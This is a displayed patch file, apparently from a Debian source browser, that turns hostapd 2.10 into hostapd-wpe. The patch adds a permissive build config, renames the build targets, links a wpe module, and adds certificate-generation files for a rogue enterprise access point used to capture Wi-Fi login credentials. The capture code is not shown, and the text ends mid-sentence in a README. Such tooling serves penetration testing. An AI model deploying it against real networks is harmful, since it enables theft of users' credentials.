Debian Codegraph @

patches/wpe/hostapd-wpe/hostapd-2.10-wpe.patch

raw
1 diff '--color=auto' -rupN hostapd-2.10/hostapd/.config hostapd-2.10-wpe/hostapd/.config
2 --- hostapd-2.10/hostapd/.config 1970-01-01 00:00:00.000000000 +0000
3 +++ hostapd-2.10-wpe/hostapd/.config 2022-02-22 00:00:00.356000000 +0000
4 @@ -0,0 +1,416 @@
5 +# Wireless Pawn Edition HostAPd configuration file
6 +#
7 +# This file lists the configuration options that are used when building the
8 +# hostapd binary. All lines starting with # are ignored. Configuration option
9 +# lines must be commented out complete, if they are not to be included, i.e.,
10 +# just setting VARIABLE=n is not disabling that variable.
11 +#
12 +# This file is included in Makefile, so variables like CFLAGS and LIBS can also
13 +# be modified from here. In most cass, these lines should use += in order not
14 +# to override previous values of the variables.
15 +
16 +# Driver interface for Host AP driver
17 +CONFIG_DRIVER_HOSTAP=y
18 +
19 +# Driver interface for wired authenticator
20 +CONFIG_DRIVER_WIRED=y
21 +
22 +# Driver interface for drivers using the nl80211 kernel interface
23 +CONFIG_DRIVER_NL80211=y
24 +
25 +# QCA vendor extensions to nl80211
26 +CONFIG_DRIVER_NL80211_QCA=y
27 +
28 +# driver_nl80211.c requires libnl. If you are compiling it yourself
29 +# you may need to point hostapd to your version of libnl.
30 +#
31 +#CFLAGS += -I$<path to libnl include files>
32 +#LIBS += -L$<path to libnl library files>
33 +
34 +# Use libnl v2.0 (or 3.0) libraries.
35 +#CONFIG_LIBNL20=y
36 +
37 +# Use libnl 3.2 libraries (if this is selected, CONFIG_LIBNL20 is ignored)
38 +CONFIG_LIBNL32=y
39 +
40 +
41 +# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver)
42 +#CONFIG_DRIVER_BSD=y
43 +#CFLAGS += -I/usr/local/include
44 +#LIBS += -L/usr/local/lib
45 +#LIBS_p += -L/usr/local/lib
46 +#LIBS_c += -L/usr/local/lib
47 +
48 +# Driver interface for no driver (e.g., RADIUS server only)
49 +#CONFIG_DRIVER_NONE=y
50 +
51 +# WPA2/IEEE 802.11i RSN pre-authentication
52 +CONFIG_RSN_PREAUTH=y
53 +
54 +# Support Operating Channel Validation
55 +#CONFIG_OCV=y
56 +
57 +# Integrated EAP server
58 +CONFIG_EAP=y
59 +
60 +# EAP Re-authentication Protocol (ERP) in integrated EAP server
61 +CONFIG_ERP=y
62 +
63 +# EAP-MD5 for the integrated EAP server
64 +CONFIG_EAP_MD5=y
65 +
66 +# EAP-TLS for the integrated EAP server
67 +CONFIG_EAP_TLS=y
68 +
69 +# EAP-MSCHAPv2 for the integrated EAP server
70 +CONFIG_EAP_MSCHAPV2=y
71 +
72 +# EAP-PEAP for the integrated EAP server
73 +CONFIG_EAP_PEAP=y
74 +
75 +# EAP-GTC for the integrated EAP server
76 +CONFIG_EAP_GTC=y
77 +
78 +# EAP-TTLS for the integrated EAP server
79 +CONFIG_EAP_TTLS=y
80 +
81 +# EAP-SIM for the integrated EAP server
82 +CONFIG_EAP_SIM=y
83 +
84 +# EAP-AKA for the integrated EAP server
85 +CONFIG_EAP_AKA=y
86 +
87 +# EAP-AKA' for the integrated EAP server
88 +# This requires CONFIG_EAP_AKA to be enabled, too.
89 +CONFIG_EAP_AKA_PRIME=y
90 +
91 +# EAP-PAX for the integrated EAP server
92 +CONFIG_EAP_PAX=y
93 +
94 +# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK)
95 +CONFIG_EAP_PSK=y
96 +
97 +# EAP-pwd for the integrated EAP server (secure authentication with a password)
98 +CONFIG_EAP_PWD=y
99 +
100 +# EAP-SAKE for the integrated EAP server
101 +CONFIG_EAP_SAKE=y
102 +
103 +# EAP-GPSK for the integrated EAP server
104 +CONFIG_EAP_GPSK=y
105 +# Include support for optional SHA256 cipher suite in EAP-GPSK
106 +CONFIG_EAP_GPSK_SHA256=y
107 +
108 +# EAP-FAST for the integrated EAP server
109 +CONFIG_EAP_FAST=y
110 +
111 +# EAP-TEAP for the integrated EAP server
112 +# Note: The current EAP-TEAP implementation is experimental and should not be
113 +# enabled for production use. The IETF RFC 7170 that defines EAP-TEAP has number
114 +# of conflicting statements and missing details and the implementation has
115 +# vendor specific workarounds for those and as such, may not interoperate with
116 +# any other implementation. This should not be used for anything else than
117 +# experimentation and interoperability testing until those issues has been
118 +# resolved.
119 +CONFIG_EAP_TEAP=y
120 +
121 +# Wi-Fi Protected Setup (WPS)
122 +CONFIG_WPS=y
123 +# Enable UPnP support for external WPS Registrars
124 +CONFIG_WPS_UPNP=y
125 +# Enable WPS support with NFC config method
126 +CONFIG_WPS_NFC=y
127 +
128 +# EAP-IKEv2
129 +CONFIG_EAP_IKEV2=y
130 +
131 +# Trusted Network Connect (EAP-TNC)
132 +CONFIG_EAP_TNC=y
133 +
134 +# EAP-EKE for the integrated EAP server
135 +CONFIG_EAP_EKE=y
136 +
137 +# PKCS#12 (PFX) support (used to read private key and certificate file from
138 +# a file that usually has extension .p12 or .pfx)
139 +CONFIG_PKCS12=y
140 +
141 +# RADIUS authentication server. This provides access to the integrated EAP
142 +# server from external hosts using RADIUS.
143 +CONFIG_RADIUS_SERVER=y
144 +
145 +# Build IPv6 support for RADIUS operations
146 +CONFIG_IPV6=y
147 +
148 +# IEEE Std 802.11r-2008 (Fast BSS Transition)
149 +CONFIG_IEEE80211R=y
150 +
151 +# Use the hostapd's IEEE 802.11 authentication (ACL), but without
152 +# the IEEE 802.11 Management capability (e.g., FreeBSD/net80211)
153 +CONFIG_DRIVER_RADIUS_ACL=y
154 +
155 +# Wireless Network Management (IEEE Std 802.11v-2011)
156 +# Note: This is experimental and not complete implementation.
157 +CONFIG_WNM=y
158 +
159 +# IEEE 802.11ac (Very High Throughput) support
160 +CONFIG_IEEE80211AC=y
161 +
162 +# IEEE 802.11ax HE support
163 +# Note: This is experimental and work in progress. The definitions are still
164 +# subject to change and this should not be expected to interoperate with the
165 +# final IEEE 802.11ax version.
166 +CONFIG_IEEE80211AX=y
167 +
168 +# Remove debugging code that is printing out debug messages to stdout.
169 +# This can be used to reduce the size of the hostapd considerably if debugging
170 +# code is not needed.
171 +#CONFIG_NO_STDOUT_DEBUG=y
172 +
173 +# Add support for writing debug log to a file: -f /tmp/hostapd.log
174 +# Disabled by default.
175 +CONFIG_DEBUG_FILE=y
176 +
177 +# Send debug messages to syslog instead of stdout
178 +CONFIG_DEBUG_SYSLOG=y
179 +
180 +# Add support for sending all debug messages (regardless of debug verbosity)
181 +# to the Linux kernel tracing facility. This helps debug the entire stack by
182 +# making it easy to record everything happening from the driver up into the
183 +# same file, e.g., using trace-cmd.
184 +CONFIG_DEBUG_LINUX_TRACING=y
185 +
186 +# Remove support for RADIUS accounting
187 +#CONFIG_NO_ACCOUNTING=y
188 +
189 +# Remove support for RADIUS
190 +#CONFIG_NO_RADIUS=y
191 +
192 +# Remove support for VLANs
193 +#CONFIG_NO_VLAN=y
194 +
195 +# Enable support for fully dynamic VLANs. This enables hostapd to
196 +# automatically create bridge and VLAN interfaces if necessary.
197 +#CONFIG_FULL_DYNAMIC_VLAN=y
198 +
199 +# Use netlink-based kernel API for VLAN operations instead of ioctl()
200 +# Note: This requires libnl 3.1 or newer.
201 +#CONFIG_VLAN_NETLINK=y
202 +
203 +# Remove support for dumping internal state through control interface commands
204 +# This can be used to reduce binary size at the cost of disabling a debugging
205 +# option.
206 +#CONFIG_NO_DUMP_STATE=y
207 +
208 +# Enable tracing code for developer debugging
209 +# This tracks use of memory allocations and other registrations and reports
210 +# incorrect use with a backtrace of call (or allocation) location.
211 +#CONFIG_WPA_TRACE=y
212 +# For BSD, comment out these.
213 +#LIBS += -lexecinfo
214 +#LIBS_p += -lexecinfo
215 +#LIBS_c += -lexecinfo
216 +
217 +# Use libbfd to get more details for developer debugging
218 +# This enables use of libbfd to get more detailed symbols for the backtraces
219 +# generated by CONFIG_WPA_TRACE=y.
220 +#CONFIG_WPA_TRACE_BFD=y
221 +# For BSD, comment out these.
222 +#LIBS += -lbfd -liberty -lz
223 +#LIBS_p += -lbfd -liberty -lz
224 +#LIBS_c += -lbfd -liberty -lz
225 +
226 +# hostapd depends on strong random number generation being available from the
227 +# operating system. os_get_random() function is used to fetch random data when
228 +# needed, e.g., for key generation. On Linux and BSD systems, this works by
229 +# reading /dev/urandom. It should be noted that the OS entropy pool needs to be
230 +# properly initialized before hostapd is started. This is important especially
231 +# on embedded devices that do not have a hardware random number generator and
232 +# may by default start up with minimal entropy available for random number
233 +# generation.
234 +#
235 +# As a safety net, hostapd is by default trying to internally collect
236 +# additional entropy for generating random data to mix in with the data
237 +# fetched from the OS. This by itself is not considered to be very strong, but
238 +# it may help in cases where the system pool is not initialized properly.
239 +# However, it is very strongly recommended that the system pool is initialized
240 +# with enough entropy either by using hardware assisted random number
241 +# generator or by storing state over device reboots.
242 +#
243 +# hostapd can be configured to maintain its own entropy store over restarts to
244 +# enhance random number generation. This is not perfect, but it is much more
245 +# secure than using the same sequence of random numbers after every reboot.
246 +# This can be enabled with -e<entropy file> command line option. The specified
247 +# file needs to be readable and writable by hostapd.
248 +#
249 +# If the os_get_random() is known to provide strong random data (e.g., on
250 +# Linux/BSD, the board in question is known to have reliable source of random
251 +# data from /dev/urandom), the internal hostapd random pool can be disabled.
252 +# This will save some in binary size and CPU use. However, this should only be
253 +# considered for builds that are known to be used on devices that meet the
254 +# requirements described above.
255 +#CONFIG_NO_RANDOM_POOL=y
256 +
257 +# Should we attempt to use the getrandom(2) call that provides more reliable
258 +# yet secure randomness source than /dev/random on Linux 3.17 and newer.
259 +# Requires glibc 2.25 to build, falls back to /dev/random if unavailable.
260 +#CONFIG_GETRANDOM=y
261 +
262 +# Should we use poll instead of select? Select is used by default.
263 +#CONFIG_ELOOP_POLL=y
264 +
265 +# Should we use epoll instead of select? Select is used by default.
266 +#CONFIG_ELOOP_EPOLL=y
267 +
268 +# Should we use kqueue instead of select? Select is used by default.
269 +#CONFIG_ELOOP_KQUEUE=y
270 +
271 +# Select TLS implementation
272 +# openssl = OpenSSL (default)
273 +# gnutls = GnuTLS
274 +# internal = Internal TLSv1 implementation (experimental)
275 +# linux = Linux kernel AF_ALG and internal TLSv1 implementation (experimental)
276 +# none = Empty template
277 +#CONFIG_TLS=openssl
278 +
279 +# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1)
280 +# can be enabled to get a stronger construction of messages when block ciphers
281 +# are used.
282 +CONFIG_TLSV11=y
283 +
284 +# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.2)
285 +# can be enabled to enable use of stronger crypto algorithms.
286 +CONFIG_TLSV12=y
287 +
288 +# Select which ciphers to use by default with OpenSSL if the user does not
289 +# specify them.
290 +CONFIG_TLS_DEFAULT_CIPHERS="ALL"
291 +
292 +# If CONFIG_TLS=internal is used, additional library and include paths are
293 +# needed for LibTomMath. Alternatively, an integrated, minimal version of
294 +# LibTomMath can be used. See beginning of libtommath.c for details on benefits
295 +# and drawbacks of this option.
296 +#CONFIG_INTERNAL_LIBTOMMATH=y
297 +#ifndef CONFIG_INTERNAL_LIBTOMMATH
298 +#LTM_PATH=/usr/src/libtommath-0.39
299 +#CFLAGS += -I$(LTM_PATH)
300 +#LIBS += -L$(LTM_PATH)
301 +#LIBS_p += -L$(LTM_PATH)
302 +#endif
303 +# At the cost of about 4 kB of additional binary size, the internal LibTomMath
304 +# can be configured to include faster routines for exptmod, sqr, and div to
305 +# speed up DH and RSA calculation considerably
306 +CONFIG_INTERNAL_LIBTOMMATH_FAST=y
307 +
308 +# Interworking (IEEE 802.11u)
309 +# This can be used to enable functionality to improve interworking with
310 +# external networks.
311 +CONFIG_INTERWORKING=y
312 +
313 +# Hotspot 2.0
314 +CONFIG_HS20=y
315 +
316 +# Enable SQLite database support in hlr_auc_gw, EAP-SIM DB, and eap_user_file
317 +CONFIG_SQLITE=y
318 +
319 +# Enable Fast Session Transfer (FST)
320 +CONFIG_FST=y
321 +
322 +# Enable CLI commands for FST testing
323 +#CONFIG_FST_TEST=y
324 +
325 +# Testing options
326 +# This can be used to enable some testing options (see also the example
327 +# configuration file) that are really useful only for testing clients that
328 +# connect to this hostapd. These options allow, for example, to drop a
329 +# certain percentage of probe requests or auth/(re)assoc frames.
330 +#
331 +CONFIG_TESTING_OPTIONS=y
332 +
333 +# Automatic Channel Selection
334 +# This will allow hostapd to pick the channel automatically when channel is set
335 +# to "acs_survey" or "0". Eventually, other ACS algorithms can be added in
336 +# similar way.
337 +#
338 +# Automatic selection is currently only done through initialization, later on
339 +# we hope to do background checks to keep us moving to more ideal channels as
340 +# time goes by. ACS is currently only supported through the nl80211 driver and
341 +# your driver must have survey dump capability that is filled by the driver
342 +# during scanning.
343 +#
344 +# You can customize the ACS survey algorithm with the hostapd.conf variable
345 +# acs_num_scans.
346 +#
347 +# Supported ACS drivers:
348 +# * ath9k
349 +# * ath5k
350 +# * ath10k
351 +#
352 +# For more details refer to:
353 +# https://wireless.wiki.kernel.org/en/users/documentation/acs
354 +#
355 +CONFIG_ACS=y
356 +
357 +# Multiband Operation support
358 +# These extensions facilitate efficient use of multiple frequency bands
359 +# available to the AP and the devices that may associate with it.
360 +CONFIG_MBO=y
361 +
362 +# Client Taxonomy
363 +# Has the AP retain the Probe Request and (Re)Association Request frames from
364 +# a client, from which a signature can be produced which can identify the model
365 +# of client device like "Nexus 6P" or "iPhone 5s".
366 +CONFIG_TAXONOMY=y
367 +
368 +# Fast Initial Link Setup (FILS) (IEEE 802.11ai)
369 +CONFIG_FILS=y
370 +# FILS shared key authentication with PFS
371 +CONFIG_FILS_SK_PFS=y
372 +
373 +# Include internal line edit mode in hostapd_cli. This can be used to provide
374 +# limited command line editing and history support.
375 +CONFIG_WPA_CLI_EDIT=y
376 +
377 +# Opportunistic Wireless Encryption (OWE)
378 +# Experimental implementation of draft-harkins-owe-07.txt
379 +CONFIG_OWE=y
380 +
381 +# Airtime policy support
382 +CONFIG_AIRTIME_POLICY=y
383 +
384 +# Override default value for the wpa_disable_eapol_key_retries configuration
385 +# parameter. See that parameter in hostapd.conf for more details.
386 +#CFLAGS += -DDEFAULT_WPA_DISABLE_EAPOL_KEY_RETRIES=1
387 +
388 +# Wired equivalent privacy (WEP)
389 +# WEP is an obsolete cryptographic data confidentiality algorithm that is not
390 +# considered secure. It should not be used for anything anymore. The
391 +# functionality needed to use WEP is available in the current hostapd
392 +# release under this optional build parameter. This functionality is subject to
393 +# be completely removed in a future release.
394 +CONFIG_WEP=y
395 +
396 +# Remove all TKIP functionality
397 +# TKIP is an old cryptographic data confidentiality algorithm that is not
398 +# considered secure. It should not be used anymore. For now, the default hostapd
399 +# build includes this to allow mixed mode WPA+WPA2 networks to be enabled, but
400 +# that functionality is subject to be removed in the future.
401 +#CONFIG_NO_TKIP=y
402 +
403 +# Pre-Association Security Negotiation (PASN)
404 +# Experimental implementation based on IEEE P802.11z/D2.6 and the protocol
405 +# design is still subject to change. As such, this should not yet be enabled in
406 +# production use.
407 +# This requires CONFIG_IEEE80211W=y to be enabled, too.
408 +CONFIG_PASN=y
409 +CONFIG_IEEE80211W=y
410 +
411 +# Device Provisioning Protocol (DPP) (also known as Wi-Fi Easy Connect)
412 +CONFIG_DPP=y
413 +# DPP version 2 support
414 +CONFIG_DPP2=y
415 +# DPP version 3 support (experimental and still changing; do not enable for
416 +# production use)
417 +CONFIG_DPP3=y
418 +
419 +# Forgotten/lost somewhere
420 +CONFIG_SAE=y
421 diff '--color=auto' -rupN hostapd-2.10/hostapd/Makefile hostapd-2.10-wpe/hostapd/Makefile
422 --- hostapd-2.10/hostapd/Makefile 2022-01-16 20:51:29.000000000 +0000
423 +++ hostapd-2.10-wpe/hostapd/Makefile 2022-02-21 23:29:30.104000000 +0000
424 @@ -1,4 +1,4 @@
425 -ALL=hostapd hostapd_cli
426 +ALL=hostapd-wpe hostapd_cli-wpe
427 CONFIG_FILE = .config
428
429 include ../src/build.rules
430 @@ -84,6 +84,7 @@ OBJS += ../src/ap/beacon.o
431 OBJS += ../src/ap/bss_load.o
432 OBJS += ../src/ap/neighbor_db.o
433 OBJS += ../src/ap/rrm.o
434 +OBJS += ../src/wpe/wpe.o
435
436 OBJS_c = hostapd_cli.o
437 OBJS_c += ../src/common/wpa_ctrl.o
438 @@ -1277,11 +1278,20 @@ $(DESTDIR)$(BINDIR)/%: %
439
440 install: $(addprefix $(DESTDIR)$(BINDIR)/,$(ALL))
441
442 +wpe:
443 + install -d $(DESTDIR)/etc/hostapd-wpe
444 + install -m 644 hostapd-wpe.conf hostapd-wpe.eap_user $(DESTDIR)/etc/hostapd-wpe
445 + install -d $(DESTDIR)/etc/hostapd-wpe/certs
446 + install -d $(DESTDIR)/etc/hostapd-wpe/certs/demoCA
447 + install -m 644 certs/demoCA/cacert.pem $(DESTDIR)/etc/hostapd-wpe/certs/demoCA
448 + install -m 755 certs/bootstrap $(DESTDIR)/etc/hostapd-wpe/certs
449 + install -m 644 certs/ca.cnf certs/client.cnf certs/Makefile certs/README certs/README.wpe certs/server.cnf certs/xpextensions $(DESTDIR)/etc/hostapd-wpe/certs
450 +
451 _OBJS_VAR := OBJS
452 include ../src/objs.mk
453
454 -hostapd: $(OBJS)
455 - $(Q)$(CC) $(LDFLAGS) -o hostapd $(OBJS) $(LIBS)
456 +hostapd-wpe: $(OBJS)
457 + $(Q)$(CC) $(LDFLAGS) -o $@ $(OBJS) $(LIBS)
458 @$(E) " LD " $@
459
460 ifdef CONFIG_WPA_TRACE
461 @@ -1291,8 +1301,8 @@ endif
462 _OBJS_VAR := OBJS_c
463 include ../src/objs.mk
464
465 -hostapd_cli: $(OBJS_c)
466 - $(Q)$(CC) $(LDFLAGS) -o hostapd_cli $(OBJS_c) $(LIBS_c)
467 +hostapd_cli-wpe: $(OBJS_c)
468 + $(Q)$(CC) $(LDFLAGS) -o $@ $(OBJS_c) $(LIBS_c)
469 @$(E) " LD " $@
470
471 NOBJS = nt_password_hash.o ../src/crypto/ms_funcs.o $(SHA1OBJS)
472
473 diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/Makefile hostapd-2.10-wpe/hostapd/certs/Makefile
474 --- hostapd-2.10/hostapd/certs/Makefile 1970-01-01 00:00:00.000000000 +0000
475 +++ hostapd-2.10-wpe/hostapd/certs/Makefile 2022-02-21 23:29:30.100000000 +0000
476 @@ -0,0 +1,145 @@
477 +######################################################################
478 +#
479 +# Make file to be installed in /etc/raddb/certs to enable
480 +# the easy creation of certificates.
481 +#
482 +# See the README file in this directory for more information.
483 +#
484 +# $Id: cc12464c6c7754aff2f0c8d6e116708c94ff2168 $
485 +#
486 +######################################################################
487 +
488 +DH_KEY_SIZE = 2048
489 +
490 +#
491 +# Set the passwords
492 +#
493 +-include passwords.mk
494 +
495 +######################################################################
496 +#
497 +# Make the necessary files, but not client certificates.
498 +#
499 +######################################################################
500 +.PHONY: all
501 +all: index.txt serial dh server ca client
502 +
503 +.PHONY: client
504 +client: client.pem
505 +
506 +.PHONY: ca
507 +ca: ca.der
508 +
509 +.PHONY: server
510 +server: server.pem server.vrfy
511 +
512 +.PHONY: verify
513 +verify: server.vrfy client.vrfy
514 +
515 +passwords.mk: server.cnf ca.cnf client.cnf
516 + @echo "PASSWORD_SERVER = '$(shell grep output_password server.cnf | sed 's/.*=//;s/^ *//')'" > $@
517 + @echo "PASSWORD_CA = '$(shell grep output_password ca.cnf | sed 's/.*=//;s/^ *//')'" >> $@
518 + @echo "PASSWORD_CLIENT = '$(shell grep output_password client.cnf | sed 's/.*=//;s/^ *//')'" >> $@
519 + @echo "USER_NAME = '$(shell grep emailAddress client.cnf | grep '@' | sed 's/.*=//;s/^ *//')'" >> $@
520 + @echo "CA_DEFAULT_DAYS = '$(shell grep default_days ca.cnf | sed 's/.*=//;s/^ *//')'" >> $@
521 +
522 +######################################################################
523 +#
524 +# Diffie-Hellman parameters
525 +#
526 +######################################################################
527 +dh:
528 + openssl dhparam -out dh -2 $(DH_KEY_SIZE)
529 +
530 +######################################################################
531 +#
532 +# Create a new self-signed CA certificate
533 +#
534 +######################################################################
535 +ca.key ca.pem: ca.cnf
536 + @[ -f index.txt ] || $(MAKE) index.txt
537 + @[ -f serial ] || $(MAKE) serial
538 + openssl req -new -x509 -keyout ca.key -out ca.pem \
539 + -days $(CA_DEFAULT_DAYS) -config ./ca.cnf
540 +
541 +ca.der: ca.pem
542 + openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der
543 +
544 +######################################################################
545 +#
546 +# Create a new server certificate, signed by the above CA.
547 +#
548 +######################################################################
549 +server.csr server.key: server.cnf
550 + openssl req -new -out server.csr -keyout server.key -config ./server.cnf
551 +
552 +server.crt: server.csr ca.key ca.pem
553 + openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key $(PASSWORD_CA) -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf
554 +
555 +server.p12: server.crt
556 + openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER)
557 +
558 +server.pem: server.p12
559 + openssl pkcs12 -in server.p12 -out server.pem -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER)
560 +
561 +.PHONY: server.vrfy
562 +server.vrfy: ca.pem
563 + @openssl verify -CAfile ca.pem server.pem
564 +
565 +######################################################################
566 +#
567 +# Create a new client certificate, signed by the the above server
568 +# certificate.
569 +#
570 +######################################################################
571 +client.csr client.key: client.cnf
572 + openssl req -new -out client.csr -keyout client.key -config ./client.cnf
573 +
574 +client.crt: client.csr ca.pem ca.key
575 + openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr -key $(PASSWORD_CA) -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
576 +
577 +client.p12: client.crt
578 + openssl pkcs12 -export -in client.crt -inkey client.key -out client.p12 -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT)
579 +
580 +client.pem: client.p12
581 + openssl pkcs12 -in client.p12 -out client.pem -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT)
582 + cp client.pem $(USER_NAME).pem
583 +
584 +.PHONY: client.vrfy
585 +client.vrfy: ca.pem client.pem
586 + c_rehash .
587 + openssl verify -CApath . client.pem
588 +
589 +######################################################################
590 +#
591 +# Miscellaneous rules.
592 +#
593 +######################################################################
594 +index.txt:
595 + @touch index.txt
596 +
597 +serial:
598 + @echo '01' > serial
599 +
600 +print:
601 + openssl x509 -text -in server.crt
602 +
603 +printca:
604 + openssl x509 -text -in ca.pem
605 +
606 +install:
607 + install -d $(DESTDIR)/etc/hostapd-wpe
608 + install -m 644 dh $(DESTDIR)/etc/hostapd-wpe
609 + install -m 644 ca.pem $(DESTDIR)/etc/hostapd-wpe
610 + install -m 644 server.pem $(DESTDIR)/etc/hostapd-wpe
611 + install -m 644 server.key $(DESTDIR)/etc/hostapd-wpe
612 +
613 +clean:
614 + @rm -f *~ *old client.csr client.key client.crt client.p12 client.pem
615 +
616 +#
617 +# Make a target that people won't run too often.
618 +#
619 +destroycerts:
620 + rm -f *~ dh *.csr *.crt *.p12 *.der *.pem *.key index.txt* \
621 + serial* *\.0 *\.1
622 diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/README hostapd-2.10-wpe/hostapd/certs/README
623 --- hostapd-2.10/hostapd/certs/README 1970-01-01 00:00:00.000000000 +0000
624 +++ hostapd-2.10-wpe/hostapd/certs/README 2022-02-21 23:29:30.100000000 +0000
625 @@ -0,0 +1,226 @@
626 + This directory contains scripts to create the server certificates.
627 +To make a set of default (i.e. test) certificates, simply type:
628 +
629 +$ ./bootstrap
630 +
631 + The "openssl" command will be run against the sample configuration
632 +files included here, and will make a self-signed certificate authority
633 +(i.e. root CA), and a server certificate. This "root CA" should be
634 +installed on any client machine needing to do EAP-TLS, PEAP, or
635 +EAP-TTLS.
636 +
637 + The Microsoft "XP Extensions" will be automatically included in the
638 +server certificate. Without those extensions Windows clients will
639 +refuse to authenticate to FreeRADIUS.
640 +
641 + The root CA and the "XP Extensions" file also contain a crlDistributionPoints
642 +attribute. The latest release of Windows Phone needs this to be present
643 +for the handset to validate the RADIUS server certificate. The RADIUS
644 +server must have the URI defined but the CA need not have...however it
645 +is best practice for a CA to have a revocation URI. Note that whilst
646 +the Windows Mobile client cannot actually use the CRL when doing 802.1X
647 +it is recommended that the URI be an actual working URL and contain a
648 +revocation format file as there may be other OS behaviour at play and
649 +future OSes that may do something with that URI.
650 +
651 + In general, you should use self-signed certificates for 802.1x (EAP)
652 +authentication. When you list root CAs from other organisations in
653 +the "ca_file", you permit them to masquerade as you, to authenticate
654 +your users, and to issue client certificates for EAP-TLS.
655 +
656 + If FreeRADIUS was configured to use OpenSSL, then simply starting
657 +the server in root in debugging mode should also create test
658 +certificates, i.e.:
659 +
660 +$ radiusd -X
661 +
662 + That will cause the EAP-TLS module to run the "bootstrap" script in
663 +this directory. The script will be executed only once, the first time
664 +the server has been installed on a particular machine. This bootstrap
665 +script SHOULD be run on installation of any pre-built binary package
666 +for your OS. In any case, the script will ensure that it is not run
667 +twice, and that it does not over-write any existing certificates.
668 +
669 + If you already have CA and server certificates, rename (or delete)
670 +this directory, and create a new "certs" directory containing your
671 +certificates. Note that the "make install" command will NOT
672 +over-write your existing "raddb/certs" directory, which means that the
673 +"bootstrap" command will not be run.
674 +
675 +
676 + NEW INSTALLATIONS OF FREERADIUS
677 +
678 +
679 + We suggest that new installations use the test certificates for
680 +initial tests, and then create real certificates to use for normal
681 +user authentication. See the instructions below for how to create the
682 +various certificates. The old test certificates can be deleted by
683 +running the following command:
684 +
685 +$ rm -f *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt*
686 +
687 + Then, follow the instructions below for creating real certificates.
688 +
689 + Once the final certificates have been created, you can delete the
690 +"bootstrap" command from this directory, and delete the
691 +"make_cert_command" configuration from the "tls" sub-section of
692 +eap.conf.
693 +
694 + If you do not want to enable EAP-TLS, PEAP, or EAP-TTLS, then delete
695 +the relevant sub-sections from the "eap.conf" file.
696 +
697 +
698 + MAKING A ROOT CERTIFICATE
699 +
700 +
701 +$ vi ca.cnf
702 +
703 + Edit the "input_password" and "output_password" fields to be the
704 + password for the CA certificate.
705 +
706 + Edit the [certificate_authority] section to have the correct values
707 + for your country, state, etc.
708 +
709 +$ make ca.pem
710 +
711 + This step creates the CA certificate.
712 +
713 +$ make ca.der
714 +
715 + This step creates the DER format of the self-signed certificate,
716 + which is can be imported into Windows.
717 +
718 +
719 + MAKING A SERVER CERTIFICATE
720 +
721 +
722 +$ vi server.cnf
723 +
724 + Edit the "input_password" and "output_password" fields to be the
725 + password for the server certificate.
726 +
727 + Edit the [server] section to have the correct values for your
728 + country, state, etc. Be sure that the commonName field here is
729 + different from the commonName for the CA certificate.
730 +
731 +$ make server.pem
732 +
733 + This step creates the server certificate.
734 +
735 + If you have an existing certificate authority, and wish to create a
736 + certificate signing request for the server certificate, edit
737 + server.cnf as above, and type the following command.
738 +
739 +$ make server.csr
740 +
741 + You will have to ensure that the certificate contains the XP
742 + extensions needed by Microsoft clients.
743 +
744 +
745 + MAKING A CLIENT CERTIFICATE
746 +
747 +
748 + Client certificates are used by EAP-TLS, and optionally by EAP-TTLS
749 +and PEAP. The following steps outline how to create a client
750 +certificate that is signed by the server certificate created above.
751 +You will have to have the password for the server certificate in the
752 +"input_password" and "output_password" fields of the server.cnf file.
753 +
754 +
755 +$ vi client.cnf
756 +
757 + Edit the "input_password" and "output_password" fields to be the
758 + password for the client certificate. You will have to give these
759 + passwords to the end user who will be using the certificates.
760 +
761 + Edit the [client] section to have the correct values for your
762 + country, state, etc. Be sure that the commonName field here is
763 + the User-Name that will be used for logins!
764 +
765 +$ make client.pem
766 +
767 + The users certificate will be in "emailAddress.pem",
768 + i.e. "[email protected]".
769 +
770 + To create another client certificate, just repeat the steps for
771 + making a client certificate, being sure to enter a different login
772 + name for "commonName", and a different password.
773 +
774 +
775 + PERFORMANCE
776 +
777 +
778 + EAP performance for EAP-TLS, TTLS, and PEAP is dominated by SSL
779 + calculations. That is, a normal system can handle PAP
780 + authentication at a rate of 10k packets/s. However, SSL involves
781 + RSA calculations, which are very expensive. To benchmark your system,
782 + do:
783 +
784 +$ openssl speed rsa
785 +
786 + or
787 +
788 +$ openssl speed rsa2048
789 +
790 + to test 2048 bit keys.
791 +
792 + A 1GHz system will likely do 30 calculations/s. A 2GHz system may
793 + do 50 calculations/s, or more. That number is also the number of
794 + authentications/s that can be done for EAP-TLS (or TTLS, or PEAP).
795 +
796 +
797 + COMPATIBILITY
798 +
799 +The certificates created using this method are known to be compatible
800 +with ALL operating systems. Some common issues are:
801 +
802 + - Windows requires certain OIDs in the certificates. If it doesn't
803 + see them, it will stop doing EAP. The most visible effect is
804 + that the client starts EAP, gets a few Access-Challenge packets,
805 + and then a little while later re-starts EAP. If this happens, see
806 + the FAQ, and the comments in raddb/eap.conf for how to fix it.
807 +
808 + - Windows requires the root certificates to be on the client PC.
809 + If it doesn't have them, you will see the same issue as above.
810 +
811 + - Windows XP post SP2 has a bug where it has problems with
812 + certificate chains. i.e. if the server certificate is an
813 + intermediate one, and not a root one, then authentication will
814 + silently fail, as above.
815 +
816 + - Some versions of Windows CE cannot handle 4K RSA certificates.
817 + They will (again) silently fail, as above.
818 +
819 + - In none of these cases will Windows give the end user any
820 + reasonable error message describing what went wrong. This leads
821 + people to blame the RADIUS server. That blame is misplaced.
822 +
823 + - Certificate chains of more than 64K bytes are known to not work.
824 + This is a problem in FreeRADIUS. However, most clients cannot
825 + handle 64K certificate chains. Most Access Points will shut down
826 + the EAP session after about 50 round trips, while 64K certificate
